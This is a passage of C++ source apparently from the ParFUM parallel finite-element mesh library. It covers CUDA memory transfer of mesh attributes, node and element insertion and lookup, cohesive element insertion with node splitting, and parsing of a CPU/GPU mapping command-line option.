FEM_Mesh* mesh = FEM_Mesh_lookup(which_mesh, "meshModel_Create_Driver");
FEM_DataAttribute * at = (FEM_DataAttribute*)
model.mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_N2E_CONN,"meshModel_Create_Driver");
n2eTable = at->getInt().getData();
FEM_IndexAttribute * iat = (FEM_IndexAttribute*)
model.mesh->elem[MESH_ELEMENT_TET4].lookup(FEM_CONN,"meshModel_Create_Driver");
int* connTable = iat->get().getData();
int* adjElements;
int size;
for (int i=0; i<model.num_local_node; ++i) {
mesh->n2e_getAll(i, adjElements, size);
for (int j=0; j<size; ++j) {
for (int k=0; k<connSize+1; ++k) {
if (connTable[connSize*adjElements[j]+k] == i) {
n2eTable[connSize*adjElements[j]+k] = j;
break;
}
if (k == connSize) {
CkPrintf("Element %d cannot find node %d in its conn [%d %d %d]\n",
adjElements[j], i,
connTable[connSize*adjElements[j]+0],
connTable[connSize*adjElements[j]+1],
connTable[connSize*adjElements[j]+2]);
CkAssert(false);
}
}
}
delete[] adjElements;
}
#endif
//for (int i=0; i<model->num_local_elem*4; ++i) {
// printf("%d ", connTable[i]);
// if ((i+1)%4 == 0) printf("\n");
//}
//printf("\n\n");
//for (int i=0; i<model->num_local_elem*4; ++i) {
// printf("%d ", n2eTable[i]);
// if ((i+1)%4 == 0) printf("\n");
//}
FEM_Mesh_become_get(which_mesh);
#if CUDA
if (model.target_device == DeviceGPU) {
allocateModelForCUDADevice(&model);
}
#endif
}
#ifdef CUDA
// MeshDevice target_device
void allocateModelForCUDADevice(MeshModel* model){
CkPrintf("[%d] allocateModelForCUDADevice\n", CkMyPe() );
if( ! model->allocatedForCUDADevice ) {
model->allocatedForCUDADevice = true;
const int connSize = model->mesh->elem[MESH_ELEMENT_TET4].getConn().width();
const FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_N2E_CONN,"allocateModelForCUDADevice");
const int* n2eTable = at->getInt().getData();
int size = model->num_local_elem * connSize *sizeof(int);
cudaError_t err = cudaMalloc((void**)&(model->device_model.n2eConnDevice), size);
if(err == cudaErrorMemoryAllocation){
CkPrintf("[%d] cudaMalloc FAILED with error cudaErrorMemoryAllocation model->device_model.n2eConnDevice in ParFUM_Iterators.cc size=%d: %s\n", CkMyPe(), size, cudaGetErrorString(err));
}else if(err != cudaSuccess){
CkPrintf("[%d] cudaMalloc FAILED model->device_model.n2eConnDevice in ParFUM_Iterators.cc size=%d: %s\n", CkMyPe(), size, cudaGetErrorString(err));
CkAbort("cudaMalloc FAILED");
}
CkAssert(cudaMemcpy(model->device_model.n2eConnDevice,n2eTable,size, cudaMemcpyHostToDevice) == cudaSuccess);
/** copy number/sizes of nodes and elements to device structure */
model->device_model.elem_attr_size = model->elem_attr_size;
model->device_model.node_attr_size = model->node_attr_size;
model->device_model.model_attr_size = model->model_attr_size;
model->device_model.num_local_node = model->num_local_node;
model->device_model.num_local_elem = model->num_local_elem;
/** Copy element Attribute array to device global memory */
{
FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_DATA,"meshModel_Create_Driver");
AllocTable2d<unsigned char> &dataTable = at->getChar();
unsigned char *ElemData = dataTable.getData();
int size = dataTable.size()*dataTable.width();
assert(size == model->num_local_elem * model->elem_attr_size);
CkAssert(cudaMalloc((void**)&(model->device_model.ElemDataDevice), size) == cudaSuccess);
CkAssert(cudaMemcpy(model->device_model.ElemDataDevice,ElemData,size,
cudaMemcpyHostToDevice) == cudaSuccess);
}
/** Copy node Attribute array to device global memory */
{
FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->node.lookup(ATT_NODE_DATA,"meshModel_Create_Driver");
AllocTable2d<unsigned char> &dataTable = at->getChar();
unsigned char *NodeData = dataTable.getData();
int size = dataTable.size()*dataTable.width();
assert(size == model->num_local_node * model->node_attr_size);
CkAssert(cudaMalloc((void**)&(model->device_model.NodeDataDevice), size) == cudaSuccess);
CkAssert(cudaMemcpy(model->device_model.NodeDataDevice,NodeData,size,
cudaMemcpyHostToDevice) == cudaSuccess);
}
/** Copy elem connectivity array to device global memory */
{
FEM_IndexAttribute * at = (FEM_IndexAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(FEM_CONN,"meshModel_Create_Driver");
AllocTable2d<int> &dataTable = at->get();
int *data = dataTable.getData();
int size = dataTable.size()*dataTable.width()*sizeof(int);
CkAssert(cudaMalloc((void**)&(model->device_model.ElemConnDevice), size) == cudaSuccess);
CkAssert(cudaMemcpy(model->device_model.ElemConnDevice,data,size,
cudaMemcpyHostToDevice) == cudaSuccess);
}
/** Copy model Attribute to device global memory */
{
printf("Copying model attribute of size %d\n", model->model_attr_size);
CkAssert(cudaMalloc((void**)&(model->device_model.mAttDevice),
model->model_attr_size) == cudaSuccess);
CkAssert(cudaMemcpy(model->device_model.mAttDevice,model->mAtt,model->model_attr_size,
cudaMemcpyHostToDevice) == cudaSuccess);
}
}
}
// Copy data from GPU and deallocate its memory
void deallocateModelForCUDADevice(MeshModel* model){
CkPrintf("[%d] deallocateModelForCUDADevice\n", CkMyPe() );
if( model->allocatedForCUDADevice ) {
model->allocatedForCUDADevice = false;
const int connSize = model->mesh->elem[MESH_ELEMENT_TET4].getConn().width();
FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_N2E_CONN,"allocateModelForCUDADevice");
int* n2eTable = at->getInt().getData();
int size = model->num_local_elem * connSize *sizeof(int);
CkAssert(cudaMemcpy(n2eTable,model->device_model.n2eConnDevice,size, cudaMemcpyDeviceToHost) == cudaSuccess);
CkAssert(cudaFree(model->device_model.n2eConnDevice) == cudaSuccess);
/** Copy element Attribute array from device global memory */
{
FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_DATA,"meshModel_Create_Driver");
AllocTable2d<unsigned char> &dataTable = at->getChar();
unsigned char *ElemData = dataTable.getData();
int size = dataTable.size()*dataTable.width();
assert(size == model->num_local_elem * model->elem_attr_size);
CkAssert(cudaMemcpy(ElemData,model->device_model.ElemDataDevice,size, cudaMemcpyDeviceToHost) == cudaSuccess);
CkAssert(cudaFree(model->device_model.ElemDataDevice) == cudaSuccess);
}
/** Copy node Attribute array from device global memory */
{
FEM_DataAttribute * at = (FEM_DataAttribute*) model->mesh->node.lookup(ATT_NODE_DATA,"meshModel_Create_Driver");
AllocTable2d<unsigned char> &dataTable = at->getChar();
unsigned char *NodeData = dataTable.getData();
int size = dataTable.size()*dataTable.width();
assert(size == model->num_local_node * model->node_attr_size);
CkAssert(cudaMemcpy(NodeData,model->device_model.NodeDataDevice,size, cudaMemcpyDeviceToHost) == cudaSuccess);
CkAssert(cudaFree(model->device_model.NodeDataDevice) == cudaSuccess);
}
/** Copy elem connectivity array from device global memory */
{
FEM_IndexAttribute * at = (FEM_IndexAttribute*) model->mesh->elem[MESH_ELEMENT_TET4].lookup(FEM_CONN,"meshModel_Create_Driver");
AllocTable2d<int> &dataTable = at->get();
int *data = dataTable.getData();
int size = dataTable.size()*dataTable.width()*sizeof(int);
CkAssert(cudaMemcpy(data,model->device_model.ElemConnDevice,size, cudaMemcpyDeviceToHost) == cudaSuccess);
CkAssert(cudaFree(model->device_model.ElemConnDevice) == cudaSuccess);
}
/** Copy model Attribute from device global memory */
{
printf("Copying model attribute of size %d\n", model->model_attr_size);
CkAssert(cudaMemcpy(model->mAtt,model->device_model.mAttDevice,model->model_attr_size, cudaMemcpyDeviceToHost) == cudaSuccess);
CkAssert(cudaFree(model->device_model.mAttDevice) == cudaSuccess);
}
}
}
#endif
/** Copy node attribute array from CUDA device back to the ParFUM attribute */
void mesh_retrieve_node_data(MeshModel* m){
#if CUDA
CkAssert( m->allocatedForCUDADevice);
cudaError_t status = cudaMemcpy(m->NodeData_T->getData(),
m->device_model.NodeDataDevice,
m->num_local_node * m->node_attr_size,
cudaMemcpyDeviceToHost);
CkAssert(status == cudaSuccess);
#endif
}
/** Copy node attribute array to CUDA device from the ParFUM attribute */
void mesh_put_node_data(MeshModel* m){
#if CUDA
CkAssert( m->allocatedForCUDADevice);
cudaError_t status = cudaMemcpy(m->device_model.NodeDataDevice,
m->NodeData_T->getData(),
m->num_local_node * m->node_attr_size,
cudaMemcpyHostToDevice);
CkAssert(status == cudaSuccess);
#endif
}
/** Copy element attribute array from CUDA device back to the ParFUM attribute */
void mesh_retrieve_elem_data(MeshModel* m){
#if CUDA
CkAssert( m->allocatedForCUDADevice);
cudaError_t status = cudaMemcpy(m->ElemData_T->getData(),
m->device_model.ElemDataDevice,
m->num_local_elem * m->elem_attr_size,
cudaMemcpyDeviceToHost);
CkAssert(status == cudaSuccess);
#endif
}
/** Copy elem attribute array to CUDA device from the ParFUM attribute */
void mesh_put_elem_data(MeshModel* m) {
#if CUDA
CkAssert( m->allocatedForCUDADevice);
cudaError_t status = cudaMemcpy(m->device_model.ElemDataDevice,
m->ElemData_T->getData(),
m->num_local_elem * m->elem_attr_size,
cudaMemcpyHostToDevice);
CkAssert(status == cudaSuccess);
#endif
}
/** Copy node and elem attribute arrays to CUDA device from the ParFUM attribute */
void mesh_put_data(MeshModel* m) {
#if CUDA
CkAssert( m->allocatedForCUDADevice);
mesh_put_node_data(m);
mesh_put_elem_data(m);
cudaError_t status = cudaMemcpy(m->device_model.mAttDevice,m->mAtt,m->model_attr_size,
cudaMemcpyHostToDevice);
CkAssert(status == cudaSuccess);
#endif
}
/** Copy node and elem attribute arrays from CUDA device to the ParFUM attribute */
void mesh_retrieve_data(MeshModel* m) {
#if CUDA
CkAssert( m->allocatedForCUDADevice);
mesh_retrieve_node_data(m);
mesh_retrieve_elem_data(m);
cudaError_t status = cudaMemcpy(m->mAtt,m->device_model.mAttDevice,m->model_attr_size,
cudaMemcpyDeviceToHost);
CkAssert(status == cudaSuccess);
#endif
}
/** Cleanup a model */
void meshModel_Destroy(MeshModel* m){
#if CUDA
if (m->target_device == DeviceGPU) {
// CkAssert(cudaFree(m->device_model.mAttDevice) == cudaSuccess);
// CkAssert(cudaFree(m->device_model.NodeDataDevice) == cudaSuccess);
// CkAssert(cudaFree(m->device_model.ElemDataDevice) == cudaSuccess);
}
#endif
delete m;
}
MeshNode meshModel_InsertNode(MeshModel* m, double x, double y, double z){
int newNode = FEM_add_node_local(m->mesh,false,false,false);
setTableReferences(m);
(*m->coord_T)(newNode,0)=x;
(*m->coord_T)(newNode,1)=y;
(*m->coord_T)(newNode,2)=z;
return newNode;
}
MeshNode meshModel_InsertNode(MeshModel* m, float x, float y, float z){
int newNode = FEM_add_node_local(m->mesh,false,false,false);
setTableReferences(m);
(*m->coord_T)(newNode,0)=x;
(*m->coord_T)(newNode,1)=y;
(*m->coord_T)(newNode,2)=z;
return newNode;
}
/** Set id of a node
@todo Make this work with ghosts
*/
void meshNode_SetId(MeshModel* m, MeshNode n, EntityID id){
CkAssert(n>=0);
(*m->node_id_T)(n,0)=id;
m->nodeIDHash->put(id) = n+1;
}
/** Insert an element */
MeshElement meshModel_InsertElem(MeshModel*m, MeshElementType type, MeshNode* nodes){
CkAssert(type == MESH_ELEMENT_TET4 || type == MESH_ELEMENT_TET10);
MeshElement newEl;
if(type==MESH_ELEMENT_TET4){
int conn[4];
conn[0] = nodes[0];
conn[1] = nodes[1];
conn[2] = nodes[2];
conn[3] = nodes[3];
newEl.type = MESH_ELEMENT_TET4;
newEl.id = FEM_add_element_local(m->mesh, conn, 4, type, 0,0);
} else if (type==MESH_ELEMENT_TET10){
int conn[10];
conn[0] = nodes[0];
conn[1] = nodes[1];
conn[2] = nodes[2];
conn[3] = nodes[3];
conn[4] = nodes[4];
conn[5] = nodes[5];
conn[6] = nodes[6];
conn[7] = nodes[7];
conn[8] = nodes[8];
conn[9] = nodes[9];
newEl.type = MESH_ELEMENT_TET10;
newEl.id = FEM_add_element_local(m->mesh, conn, 10, type, 0, 0);
}
setTableReferences(m);
return newEl;
}
/** Set id of an element
@todo Make this work with ghosts
*/
void meshElement_SetId(MeshModel* m, MeshElement e, EntityID id){
CkAssert(e.id>=0);
(*m->elem_id_T)(e.id,0)=id;
m->elemIDHash->put(id) = e.id+1;
}
/** get the number of elements in the mesh */
int meshModel_GetNElem (MeshModel* m){
const int numBulk = m->mesh->elem[MESH_ELEMENT_TET4].count_valid();
const int numCohesive = m->mesh->elem[MESH_ELEMENT_COH3T3].count_valid();
std::cout << " numBulk = " << numBulk << " numCohesive " << numCohesive << std::endl;
return numBulk + numCohesive;
}
/**
@brief Set attribute of a node
The attribute passed in must be a contiguous data structure with size equal to the value node_attr_sz passed into meshModel_Create_Driver() and meshModel_Create_Init()
The supplied attribute will be copied into the ParFUM attribute array "ATT_NODE_DATA. Then ParFUM will own this data. The function meshNode_GetAttrib() will return a pointer to the copy owned by ParFUM. If a single material parameter attribute is used for multiple nodes, each node will get a separate copy of the array. Any subsequent modifications to the data will only be reflected at a single node.
The user is responsible for deallocating parameter d passed into this function.
*/
void meshNode_SetAttrib(MeshModel* m, MeshNode n, void* d)
{
if(m->NodeData_T == NULL){
CkPrintf("Ignoring call to meshNode_SetAttrib\n");
return;
} else {
unsigned char* data;
if (n < 0) {
assert(m->GhostNodeData_T);
data = m->GhostNodeData_T->getData();
n = FEM_From_ghost_index(n);
} else {
assert(m->NodeData_T);
data = m->NodeData_T->getData();
}
memcpy(data + n*m->node_attr_size, d, m->node_attr_size);
}
}
/** @brief Set attribute of an element
See meshNode_SetAttrib() for description
*/
void meshElement_SetAttrib(MeshModel* m, MeshElement e, void* d){
if(m->ElemData_T == NULL){
CkPrintf("Ignoring call to meshElement_SetAttrib\n");
return;
} else {
unsigned char *data;
if (e.id < 0) {
data = m->GhostElemData_T->getData();
e.id = FEM_From_ghost_index(e.id);
} else {
data = m->ElemData_T->getData();
}
memcpy(data + e.id*m->elem_attr_size, d, m->elem_attr_size);
}
}
/** @brief Get elem attribute
See meshNode_SetAttrib() for description
*/
void* meshElement_GetAttrib(MeshModel* m, MeshElement e)
{
if(! m->mesh->elem[e.type].is_valid_any_idx(e.id))
return NULL;
unsigned char *data;
if (FEM_Is_ghost_index(e.id)) {
data = m->GhostElemData_T->getData();
e.id = FEM_From_ghost_index(e.id);
} else {
data = m->ElemData_T->getData();
}
return (data + e.id*m->elem_attr_size);
}
/** @brief Get nodal attribute
See meshNode_SetAttrib() for description
*/
void* meshNode_GetAttrib(MeshModel* m, MeshNode n)
{
if(!m->mesh->node.is_valid_any_idx(n))
return NULL;
unsigned char* data;
if (FEM_Is_ghost_index(n)) {
data = m->GhostNodeData_T->getData();
n = FEM_From_ghost_index(n);
} else {
data = m->NodeData_T->getData();
}
return (data + n*m->node_attr_size);
}
/**
Get node via id
*/
MeshNode meshModel_GetNodeAtId(MeshModel* m, EntityID id)
{
int hashnode = m->nodeIDHash->get(id)-1;
if (hashnode != -1) return hashnode;
AllocTable2d<int>* ghostNode_id_T = &((FEM_DataAttribute*)m->mesh->
node.getGhost()->lookup(ATT_NODE_ID,""))->getInt();
if(ghostNode_id_T != NULL){
for(int i=0; i<ghostNode_id_T->size(); ++i) {
if((*ghostNode_id_T)(i,0)==id){
return FEM_To_ghost_index(i);
}
}
}
return -1;
}
/**
Get elem via id
Note: this will currently only work with TET4 elements
*/
#ifndef INLINE_GETELEMATID
MeshElement meshModel_GetElemAtId(MeshModel*m,EntityID id)
{
MeshElement e;
e.id = m->elemIDHash->get(id)-1;
e.type = MESH_ELEMENT_TET4;
if (e.id != -1) return e;
AllocTable2d<int>* ghostElem_id_T = &((FEM_DataAttribute*)m->mesh->
elem[MESH_ELEMENT_TET4].getGhost()->lookup(ATT_ELEM_ID,""))->getInt();
if(ghostElem_id_T != NULL) {
for(int i=0; i<ghostElem_id_T->size(); ++i) {
if((*ghostElem_id_T)(i,0)==id){
e.id = FEM_To_ghost_index(i);
e.type = MESH_ELEMENT_TET4;
return e;
}
}
}
e.id = -1;
e.type = MESH_ELEMENT_TET4;
return e;
}
#endif
MeshNode meshElement_GetNode(MeshModel* m,MeshElement e,int idx){
int node = -1;
if (e.id < 0) {
CkAssert(m->mesh->elem[e.type].getGhost());
const AllocTable2d<int> &conn = ((FEM_Elem*)m->mesh->elem[e.type].getGhost())->getConn();
CkAssert(idx>=0 && idx<conn.width());
node = conn(FEM_From_ghost_index(e.id),idx);
} else {
const AllocTable2d<int> &conn = m->mesh->elem[e.type].getConn();
CkAssert(idx>=0 && idx<conn.width());
node = conn(e.id,idx);
}
return node;
}
int meshNode_GetId(MeshModel* m, MeshNode n){
CkAssert(n>=0);
return (*m->node_id_T)(n,0);
}
/** @todo handle ghost nodes as appropriate */
int meshModel_GetNNodes(MeshModel *model){
return model->mesh->node.count_valid();
}
/** @todo How should we handle meshes with mixed elements? */
int meshElement_GetNNodes(MeshModel* model, MeshElement elem){
return model->mesh->elem[elem.type].getConn().width();
}
/** @todo make sure we are in a getting mesh */
void meshNode_GetPosition(MeshModel*model, MeshNode node,double*x,double*y,double*z){
if (node < 0) {
AllocTable2d<double>* table = &((FEM_DataAttribute*)model->
mesh->node.getGhost()->lookup(ATT_NODE_COORD,""))->getDouble();
node = FEM_From_ghost_index(node);
*x = (*table)(node,0);
*y = (*table)(node,1);
*z = (*table)(node,2);
} else {
*x = (*model->coord_T)(node,0);
*y = (*model->coord_T)(node,1);
*z = (*model->coord_T)(node,2);
}
}
/** @todo make sure we are in a getting mesh */
void meshNode_GetPosition(MeshModel*model, MeshNode node,float*x,float*y,float*z){
if (node < 0) {
AllocTable2d<float>* table = &((FEM_DataAttribute*)model->
mesh->node.getGhost()->lookup(ATT_NODE_COORD,""))->getFloat();
node = FEM_From_ghost_index(node);
*x = (*table)(node,0);
*y = (*table)(node,1);
*z = (*table)(node,2);
} else {
*x = (*model->coord_T)(node,0);
*y = (*model->coord_T)(node,1);
*z = (*model->coord_T)(node,2);
}
}
void meshModel_Sync(MeshModel*m){
MPI_Barrier(MPI_COMM_WORLD);
}
/** Test the node and element iterators */
void meshModel_TestIterators(MeshModel*m){
CkAssert(m->mesh->elem[MESH_ELEMENT_TET4].ghost!=NULL);
CkAssert(m->mesh->node.ghost!=NULL);
int expected_elem_count = m->mesh->elem[MESH_ELEMENT_TET4].count_valid() + m->mesh->elem[MESH_ELEMENT_TET4].ghost->count_valid();
int iterated_elem_count = 0;
int expected_node_count = m->mesh->node.count_valid() + m->mesh->node.ghost->count_valid();
int iterated_node_count = 0;
int myId = FEM_My_partition();
MeshNodeItr* itr = meshModel_CreateNodeItr(m);
for(meshNodeItr_Begin(itr);meshNodeItr_IsValid(itr);meshNodeItr_Next(itr)){
iterated_node_count++;
MeshNode node = meshNodeItr_GetCurr(itr);
void* na = meshNode_GetAttrib(m,node);
CkAssert(na != NULL);
}
MeshElemItr* e_itr = meshModel_CreateElemItr(m);
for(meshElemItr_Begin(e_itr);meshElemItr_IsValid(e_itr);meshElemItr_Next(e_itr)){
iterated_elem_count++;
MeshElement elem = meshElemItr_GetCurr(e_itr);
void* ea = meshElement_GetAttrib(m,elem);
CkAssert(ea != NULL);
}
CkAssert(iterated_node_count == expected_node_count);
CkAssert(iterated_elem_count==expected_elem_count);
CkPrintf("Completed Iterator Test!\n");
}
bool meshElement_IsCohesive(MeshModel* m, MeshElement e){
return e.type > MESH_ELEMENT_MIN_COHESIVE;
}
/** currently we only support linear tets for the bulk elements */
int meshFacet_GetNNodes (MeshModel* m, MeshFacet f){
return 6;
}
MeshNode meshFacet_GetNode (MeshModel* m, MeshFacet f, int i){
return f.node[i];
}
MeshElement meshFacet_GetElem (MeshModel* m, MeshFacet f, int i){
return f.elem[i];
}
/** I'm not quite sure the point of this function
* TODO figure out what this is supposed to do
*/
bool meshElement_IsValid(MeshModel* m, MeshElement e){
return m->mesh->elem[e.type].is_valid_any_idx(e.id);
}
/** We will use the following to identify the original boundary nodes.
* These are those that are adjacent to a facet that is on the boundary(has one adjacent element).
* Assume vertex=node.
*/
bool meshVertex_IsBoundary (MeshModel* m, MeshVertex v){
return m->mesh->node.isBoundary(v);
}
MeshVertex meshNode_GetVertex (MeshModel* m, MeshNode n){
return n;
}
int meshElement_GetId (MeshModel* m, MeshElement e) {
CkAssert(e.id>=0);
return (*m->elem_id_T)(e.id,0);
}
/** Determine if two triangles are the same, but possibly varied under
* rotation or mirroring */
bool areSameTriangle(int a1, int a2, int a3, int b1, int b2, int b3) {
if (a1==b1 && a2==b2 && a3==b3) return true;
if (a1==b2 && a2==b3 && a3==b1) return true;
if (a1==b3 && a2==b1 && a3==b2) return true;
if (a1==b1 && a2==b3 && a3==b2) return true;
if (a1==b2 && a2==b1 && a3==b3) return true;
if (a1==b3 && a2==b2 && a3==b1) return true;
return false;
}
MeshElement meshModel_InsertCohesiveAtFacet (MeshModel* m, MeshElementType etype, MeshFacet f){
MeshElement newCohesiveElement;
CkAssert(etype == MESH_ELEMENT_COH3T3);
const MeshElement firstElement = f.elem[0];
const MeshElement secondElement = f.elem[1];
CkAssert(firstElement.type != MESH_ELEMENT_COH3T3);
CkAssert(secondElement.type != MESH_ELEMENT_COH3T3);
CkAssert(firstElement.id != -1);
CkAssert(secondElement.id != -1);
// Create a new element
int newEl = m->mesh->elem[etype].get_next_invalid(m->mesh);
m->mesh->elem[etype].set_valid(newEl, false);
newCohesiveElement.id = newEl;
newCohesiveElement.type = etype;
#if DEBUG
CkPrintf("/\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\/ \n");
CkPrintf("Inserting cohesive %d of type %d at facet %d,%d,%d\n", newEl, etype, f.node[0], f.node[1], f.node[2]);
#endif
int conn[6];
conn[0] = f.node[0];
conn[1] = f.node[1];
conn[2] = f.node[2];
conn[3] = f.node[0];
conn[4] = f.node[1];
conn[5] = f.node[2];
/// The lists of elements that can be reached from element on one side of the facet by iterating around each of the three nodes
std::set<MeshElement> reachableFromElement1[3];
std::set<MeshNode> reachableNodeFromElement1[3];
bool canReachSecond[3];
// Examine each node to determine if the node should be split
for(int whichNode = 0; whichNode<3; whichNode++){
#if DEBUG
CkPrintf("--------------------------------\n");
CkPrintf("Determining whether to split node %d\n", f.node[whichNode]);
#endif
canReachSecond[whichNode]=false;
MeshNode theNode = f.node[whichNode];
// Traverse across the faces to see which elements we can get to from the first element of this facet
std::stack<MeshElement> traverseTheseElements;
CkAssert(firstElement.type != MESH_ELEMENT_COH3T3);
traverseTheseElements.push(firstElement);
while(traverseTheseElements.size()>0 && ! canReachSecond[whichNode]){
MeshElement traversedToElem = traverseTheseElements.top();
traverseTheseElements.pop();
// We should only examine elements that we have not yet already examined
if(reachableFromElement1[whichNode].find(traversedToElem) == reachableFromElement1[whichNode].end()){
reachableFromElement1[whichNode].insert(traversedToElem);
#if DEBUG
CkPrintf("Can iterate from first element %d to element %d\n", firstElement.id, traversedToElem.id);
#endif
// keep track of which nodes the split node would be adjacent to,
// if we split this node
for (int elemNode=0; elemNode<4; ++elemNode) {
int queryNode = m->mesh->e2n_getNode(traversedToElem.id, elemNode, traversedToElem.type);
if (m->mesh->n2n_exists(theNode, queryNode) &&
queryNode != f.node[0] &&
queryNode != f.node[1] &&
queryNode != f.node[2]) {
reachableNodeFromElement1[whichNode].insert(queryNode);
}
}
#if DEBUG
//CkPrintf("Examining element %s,%d\n", traversedToElem.type==MESH_ELEMENT_COH3T3?"MESH_ELEMENT_COH3T3":"MESH_ELEMENT_TET4", traversedToElem.id);
#endif
// Add all elements across this elements face, if they contain whichNode
for(int face=0;face<4;face++){
MeshElement neighbor = m->mesh->e2e_getElem(traversedToElem, face);
// Only traverse to neighboring bulk elements
if(neighbor.type == MESH_ELEMENT_TET4){
#if DEBUG
CkPrintf("element %d,%d is adjacent to bulk element %d on face %d\n", traversedToElem.type,traversedToElem.id, neighbor.id, face);
#endif
if(meshElement_IsValid(m,neighbor)) {
bool containsTheNode = false;
for(int i=0;i<4;i++){
if(meshElement_GetNode(m,neighbor,i) == theNode){
containsTheNode = true;
}
}
if(containsTheNode){
// Don't traverse across the face at which we are inserting the cohesive element
if(!areSameTriangle(f.node[0],f.node[1],f.node[2],
meshElement_GetNode(m,traversedToElem,tetFaces[face*3+0]),
meshElement_GetNode(m,traversedToElem,tetFaces[face*3+1]),
meshElement_GetNode(m,traversedToElem,tetFaces[face*3+2]) ) ){
// If this element is the second element adjacent to the new cohesive element, we can stop
if(neighbor == secondElement){
canReachSecond[whichNode] = true;
#if DEBUG
CkPrintf("We have traversed to the other side of the facet\n");
#endif
} else {
// Otherwise, add this element to the set remaining to be examined
CkAssert(neighbor.type != MESH_ELEMENT_COH3T3);
traverseTheseElements.push(neighbor);
#if DEBUG
//CkPrintf("Adding element %d,%d to list\n", neighbor.type, neighbor.id);
#endif
}
} else {
// ignore the element because it is not adjacent to the node we are considering splitting
}
}
}
}
}
#if DEBUG
//CkPrintf("So far we have traversed through %d elements(%d remaining)\n", reachableFromElement1[whichNode].size(), traverseTheseElements.size() );
#endif
}
}
}
#if DEBUG
CkPrintf("\n");
#endif
// Now do the actual splitting of the nodes
int myChunk = FEM_My_partition();
for(int whichNode = 0; whichNode<3; whichNode++){
if(canReachSecond[whichNode]){
#if DEBUG
CkPrintf("Node %d doesn't need to be split\n", f.node[whichNode]);
#endif
// Do nothing
}else {
#if DEBUG
CkPrintf("Node %d needs to be split\n", f.node[whichNode]);
CkPrintf("There are %d elements that will be reassigned to the new node\n",
reachableFromElement1[whichNode].size());
#endif
// Create a new node
int newNode = m->mesh->node.get_next_invalid(m->mesh);
m->mesh->node.set_valid(newNode);
// copy its coordinates
// TODO: copy its other data as well
(*m->coord_T)(newNode,0) = (*m->coord_T)(conn[whichNode],0);
(*m->coord_T)(newNode,1) = (*m->coord_T)(conn[whichNode],1);
(*m->coord_T)(newNode,2) = (*m->coord_T)(conn[whichNode],2);
#if DEBUG
CkPrintf("Splitting node %d into %d and %d\n", conn[whichNode], conn[whichNode], newNode);
#endif
// can we use nilesh's idxl aware stuff here?
//FEM_add_node(m->mesh, int* adjacentNodes, int numAdjacentNodes, &myChunk, 1, 0);
// relabel one node in the cohesive element to the new node
conn[whichNode+3] = newNode;
// relabel the appropriate old node in the elements in reachableFromElement1
std::set<MeshElement>::iterator elem;
for (elem = reachableFromElement1[whichNode].begin(); elem != reachableFromElement1[whichNode].end(); ++elem) {
m->mesh->e2n_replace(elem->id, conn[whichNode], newNode, elem->type);
#if DEBUG
CkPrintf("replacing node %d with %d in elem %d\n", conn[whichNode], newNode, elem->id);
#endif
}
// fix node-node adjacencies
std::set<MeshNode>::iterator node;
for (node = reachableNodeFromElement1[whichNode].begin(); node != reachableNodeFromElement1[whichNode].end(); ++node) {
m->mesh->n2n_replace(*node, conn[whichNode], newNode);
#if DEBUG
CkPrintf("node %d is now adjacent to %d instead of %d\n",
*node, newNode, conn[whichNode]);
#endif
}
}
}
#if DEBUG
m->mesh->e2e_printAll(firstElement);
m->mesh->e2e_printAll(secondElement);
#endif
// fix elem-elem adjacencies
m->mesh->e2e_replace(firstElement, secondElement, newCohesiveElement);
m->mesh->e2e_replace(secondElement, firstElement, newCohesiveElement);
#if DEBUG
CkPrintf("elements %d and %d were adjacent, now both adjacent to cohesive %d instead\n",
firstElement.id, secondElement.id, newEl);
m->mesh->e2e_printAll(firstElement);
m->mesh->e2e_printAll(secondElement);
#endif
// set cohesive connectivity
m->mesh->elem[newCohesiveElement.type].connIs(newEl,conn);
#if DEBUG
CkPrintf("Setting connectivity of new cohesive %d to [%d %d %d %d %d %d]\n\n",
newEl, conn[0], conn[1], conn[2], conn[3], conn[4], conn[5]);
#endif
return newCohesiveElement;
}
// #define DEBUG1
/// A class responsible for parsing the command line arguments for the PE
/// to extract the format string passed in with +ConfigurableRRMap
class ConfigurableCPUGPUMapLoader {
public:
char *locations;
int objs_per_block;
int numNodes;
/// labels for states used when parsing the ConfigurableRRMap from ARGV
enum loadStatus{
not_loaded,
loaded_found,
loaded_not_found
};
enum loadStatus state;
ConfigurableCPUGPUMapLoader(){
state = not_loaded;
locations = NULL;
objs_per_block = 0;
}
/// load configuration if possible, and return whether a valid configuration exists
bool haveConfiguration() {
if(state == not_loaded) {
#ifdef DEBUG1
CkPrintf("[%d] loading ConfigurableCPUGPUMap configuration\n", CkMyPe());
#endif
char **argv=CkGetArgv();
char *configuration = NULL;
bool found = CmiGetArgString(argv, "+ConfigurableCPUGPUMap", &configuration);
if(!found){
#ifdef DEBUG1
CkPrintf("Couldn't find +ConfigurableCPUGPUMap command line argument\n");
#endif
state = loaded_not_found;
return false;
} else {
#ifdef DEBUG1
CkPrintf("Found +ConfigurableCPUGPUMap command line argument in %p=\"%s\"\n", configuration, configuration);
#endif
std::istringstream instream(configuration);
CkAssert(instream.good());
// extract first integer
instream >> objs_per_block;
instream >> numNodes;
CkAssert(instream.good());
CkAssert(objs_per_block > 0);
locations = new char[objs_per_block];
for(int i=0;i<objs_per_block;i++){
CkAssert(instream.good());
instream >> locations[i];
// CkPrintf("location[%d] = '%c'\n", i, locations[i]);
CkAssert(locations[i] == 'G' || locations[i] == 'C');
}
state = loaded_found;
return true;
}
} else {
#ifdef DEBUG1
CkPrintf("[%d] ConfigurableCPUGPUMap has already been loaded\n", CkMyPe());
#endif
return state == loaded_found;
}
}
};
CkpvDeclare(ConfigurableCPUGPUMapLoader, myConfigGPUCPUMapLoader);
void _initConfigurableCPUGPUMap(){
// CkPrintf("Initializing CPUGPU Map!\n");
CkpvInitialize(ConfigurableCPUGPUMapLoader, myConfigGPUCPUMapLoader);
}
/// Try to load the command line arguments for ConfigurableRRMap
